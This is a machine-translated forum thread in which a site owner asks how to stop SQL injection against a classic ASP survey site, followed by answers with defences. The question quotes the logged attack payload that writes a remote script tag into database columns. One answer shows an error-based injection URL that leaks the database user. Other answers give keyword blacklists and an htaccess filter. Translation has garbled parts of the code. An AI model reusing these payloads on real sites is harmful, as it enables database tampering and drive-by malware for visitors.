Атака на сайт ASP, который использует базу данных SQL Server

У нас есть сайт опроса, который, по-видимому, подвергся нападению. Симптомы идентичны тем, что было описано на следующей странице на этом сайте: Атака XSS на веб-сайте ASP.NET.

Я нашел несколько записей в наших журналах IIS, содержащих вредоносный код:

</title> < script src= http://google-stats49.info/ur.php > .

Ниже приведен пример значения поля cs-uri-query для одной из записей журнала IIS.

surveyID = 91 + обновление + usd_ResponseDetails + набор + CategoryName = REPLACE (литая (CategoryName + а + VARCHAR (8000)), литой (char (60)% 2Bchar (47)% 2Bchar (116)% 2Bchar ( 105)% 2Bchar (116)% 2Bchar (108)% 2Bchar (101)% 2Bchar (62)% 2Bchar (60)% 2Bchar (115)% 2Bchar (99)% 2Bchar (114)% 2Bchar (105)% 2Bchar ( 112)% 2Bchar (116)% 2Bchar (32)% 2Bchar (115)% 2Bchar (114)% 2Bchar (99)% 2Bchar (61)% 2Bchar (104)% 2Bchar (116)% 2Bchar (116)% 2Bchar ( 112)% 2Bchar (58)% 2Bchar (47)% 2Bchar (47)% 2Bchar (103)% 2Bchar (111)% 2Bchar (111)% 2Bchar (103)% 2Bchar (108)% 2Bchar (101)% 2Bchar ( 45)% 2Bchar (115)% 2Bchar (116)% 2Bchar (97)% 2Bchar (116)% 2Bchar (115)% 2Bchar (53)% 2Bchar (48)% 2Bchar (46)% 2Bchar (105)% 2Bchar ( 110)% 2Bchar (102)% 2Bchar (111)% 2Bchar (47)% 2Bchar (117)% 2Bchar (114)% 2Bchar (46)% 2Bchar (112)% 2Bchar (104)% 2Bchar (112)% 2Bchar ( 62)% 2Bchar (60)% 2Bchar (47)% 2Bchar (115)% 2Bchar (99)% 2Bchar (114)% 2Bchar (105)% 2Bchar (112)% 2Bchar (116)% 2Bchar (62) + а + VARCHAR (8000)), литой (char (32) + As + VARCHAR (8))) -

Я не понимаю, как работает этот код, но, видимо, это то, что отправляется в строке запроса, чтобы повреждать столбцы в наших таблицах базы данных. На данный момент мы закрыли наш сайт. Мы можем удалить скрипты из базы данных, но это не помешает ему снова испортиться, когда мы вернем сайт обратно.

Есть ли у кого-нибудь предложения о том, как предотвратить это?

Ответ 1

Это SQL-инъекция.

  • Никогда не доверяйте пользовательскому вводу. Вы принимаете ввод и отправляете его непосредственно в базу данных.
  • Никогда не доверяйте своему пользователю!
  • Проверить все входные данные со списком разрешенных значений.
  • Для ввода текста убедитесь, что все экранировано.

На эту тему есть тон: Google - ваш друг

Ответ 2

Также...

  • Использовать параметризованные запросы.
  • Выйдите из старого классического ASP, что затрудняет использование параметризованных запросов. Перейдите в .NET, который имеет более легкую проверку и может ограничить значения, запретить ввод html и т.д.

Ответ 3

Не уверен, что это все еще актуально для вас, но у меня это было в прошлом, так как мы все еще запускаем старые ASP-сайты. Есть две вещи, которые нужно очистить. Во-первых, это поиск и замена хранимой процедуры для вашей базы данных (достаточно просто для этого Google), если вы можете с ней справиться. К сожалению, иногда данные обрезаются в зависимости от типа поля, но здесь нечего делать. В противном случае необходим откат для вашего db.

Во-вторых, вставьте средство предотвращения взлома SQL-инъекций script, как это, как включить перед подключением к базе данных:

Удачи.

<% 
'  SqlCheckInclude.asp
'
'  This is the include file to use with your asp pages to 
'  validate input for SQL injection.

Dim BlackList, ErrorPage, s

' ' Below is a black list that will block certain SQL commands and ' sequences used in SQL injection will help with input sanitization ' ' However this is may not suffice, because: ' 1) These might not cover all the cases (like encoded characters) ' 2) This may disallow legitimate input ' ' Creating a raw sql query strings by concatenating user input is ' unsafe programming practice. It is advised that you use parameterized ' SQL instead. Check http://support.microsoft.com/kb/q164485/ for information ' on how to do this using ADO from ASP. ' ' Moreover, you need to also implement a white list for your parameters. ' For example, if you are expecting input for a zipcode you should create ' a validation rule that will only allow 5 characters in [0-9]. '

BlackList = Array("--", ";", "/", "/", "@@", "@",_ "char", "nchar", "varchar", "nvarchar",_ "alter", "begin", "cast", "create", "cursor",_ "declare", "delete", "drop", "end", "exec",_ "execute", "fetch", "insert", "kill", "open",_ "select", "sys", "sysobjects", "syscolumns",_ "table", "update")

' Populate the error page you want to redirect to in case the ' check fails.

ErrorPage = "/ErrorPage.asp"

'''''''''''''''''''''''''''''''''''''''''''''''''''
' This function does not check for encoded characters ' since we do not know the form of encoding your application ' uses. Add the appropriate logic to deal with encoded characters ' in here ''''''''''''''''''''''''''''''''''''''''''''''''''' Function CheckStringForSQL(str) On Error Resume Next

Dim lstr

' If the string is empty, return true If ( IsEmpty(str) ) Then CheckStringForSQL = false Exit Function ElseIf ( StrComp(str, "") = 0 ) Then CheckStringForSQL = false Exit Function End If

lstr = LCase(str)

' Check if the string contains any patterns in our ' black list For Each s in BlackList

If ( InStr (lstr, s) <> 0 ) Then
  CheckStringForSQL = true
  Exit Function
End If

Далее

CheckStringForSQL = false

Конечная функция

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' "" "" " 'Проверить данные форм "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "

Для каждого s в Request.Form Если (CheckStringForSQL (Request.Form(s))) Затем

' Redirect to an error page
Response.Redirect(ErrorPage)

Конец Если Далее

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' "" "" " 'Проверить строку запроса "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "

Для каждого s в Request.QueryString Если (CheckStringForSQL (Request.QueryString(s))) Затем

' Redirect to error page
Response.Redirect(ErrorPage)

End If

Далее

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' "" "" " 'Проверить файлы cookie "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "

Для каждого s в Request.Cookies Если (CheckStringForSQL (Request.Cookies(s))) Затем

' Redirect to error page
Response.Redirect(ErrorPage)

Конец Если

Далее

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' "" "" " 'Добавьте дополнительные проверки для ввода, чтобы ваше приложение 'использует. (например, различные заголовки запросов вашего приложения 'может использовать) "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "

%>

код >

Ответ 4

Настройте свой IIS для отправки пользовательской страницы ошибки или страницы с ошибкой по умолчанию 500 вместо отправки подробных сообщений об ошибках клиенту.

Подробные сообщения об ошибках были использованы для поиска схемы db. Затем они использовали SQL-инъекцию для обновления текстовых полей.

Вот пример, чтобы получить пользователя БД:

/page.asp?realparameter=1And%20char(94)%2Buser%2Bchar(94)=0 

то есть "и ^ + пользователь + ^ = 0", и он возвращает:

[Microsoft] [ODBC_SQL_Server_Driver] [SQL_Server] Conversion_failed_when_converting_nvarchar_value _ ^ myDbUsername ^ _ to_data_type_int.

где "myDbUsername" - ваш настоящий пользователь базы данных.

Используя аналогичную технику, можно получить базы данных, таблицы, столбцы, типы и т.д. по одному.

Если вы еще не атаковали, отключите подробные ошибки в IIS, в противном случае проверьте свои журналы, чтобы найти, какие страницы имеют уязвимости в sql-инъекции, и исправить их.

Я написал небольшой script, чтобы проверить, есть ли в моей базе "< script":

DECLARE c1 cursor for SELECT 'SELECT COUNT(*), '''+QUOTENAME(TABLE_SCHEMA)+'.'+QUOTENAME(TABLE_NAME)+''', '''+QUOTENAME(COLUMN_NAME)+''''+ 
' FROM ' + quotename(TABLE_SCHEMA) + '.'+QUOTENAME(TABLE_NAME) +
' WHERE ' + QUOTENAME(COLUMN_NAME) + ' LIKE ''%<script%'''
FROM INFORMATION_SCHEMA.COLUMNS c
WHERE DATA_TYPE IN ('nvarchar', 'nchar', 'varchar', 'char', 'text', 'ntext') 
and QUOTENAME(TABLE_NAME) not in (SELECT QUOTENAME(name)AS TABLE_NAME FROM sys.views)
order by QUOTENAME(TABLE_NAME);
DECLARE @CMD VARCHAR(200), @return varchar(10)
OPEN C1
FETCH NEXT FROM C1 INTO @CMD
WHILE @@FETCH_STATUS <> -1
    BEGIN
        declare @sql nvarchar(500), @tbl varchar(200), @col varchar(200)
        set @sql = 'declare c2 cursor for ' + @CMD
        exec sp_executesql @sql
        open c2
        FETCH NEXT FROM C2 INTO @return, @tbl, @col
        WHILE @@FETCH_STATUS <> -1
            BEGIN
            if(@return > 0)
                BEGIN
                    PRINT @return + ' records found in ' + @tbl + '.' + @col
                    exec('SELECT '[email protected]+' FROM '[email protected]+' WHERE '[email protected]+' LIKE ''%<script%''')
                END
            FETCH NEXT FROM C2 INTO @return, @tbl, @col
            END
        CLOSE C2
        DEALLOCATE C2
        FETCH NEXT FROM C1 INTO @CMD
    END
CLOSE C1
DEALLOCATE C1

Я на IIS 7, Win Server 2008 и SQL Server 2008, поэтому, похоже, эта атака не использует какие-либо уязвимости SQL Server 2003/2005, как указано во многих статьях в Интернете.

Ответ 6

Плагин BulletProof Security WordPress имеет фильтры SQL Injection, которые блокируют эту атаку в файле htaccess. Поскольку у вас есть сервер IIS, вам нужно добавить дополнительные функции, которые позволят вам использовать файл htaccess, или, возможно, вы могли бы использовать фильтры SQL Injection каким-то другим способом с IIS, поскольку htaccess традиционно является продуктом Apache. Это строка в файле master htaccess для BulletProof Security, которая блокирует все попытки взлома SQL Injection:

RewriteCond %{QUERY_STRING} ^.*(execute|exec|sp_executesql|request|select|insert|union|declare|drop|delete|create|alter|update|order|char|set|cast|convert|meta|script|truncate).* [NC] 
RewriteRule ^(.*)$ - [F,L]

Ответ 7

Я предлагаю вам искать любые страницы, содержащие Request.QueryString, поскольку чаще всего это параметр GET, который не фильтруется (часто это значение, которое должно быть целым) и свободно использовать встроенные функции CInt, CLng и IsNumeric, чтобы остановить инъекции на своих дорожках. Это должно быть быстрее, чем переписывать все ваши запросы для использования параметров или создания хранимых процедур в SQL Server, хотя это было бы целесообразно, если вы все еще заняты разработкой приложения. Вы также должны отключить разрешение EXEC для учетной записи пользователя приложения в SQL Server.

(Извините, попытался связать другие функции, но как новый пользователь мне разрешили только одну гиперссылку.: -))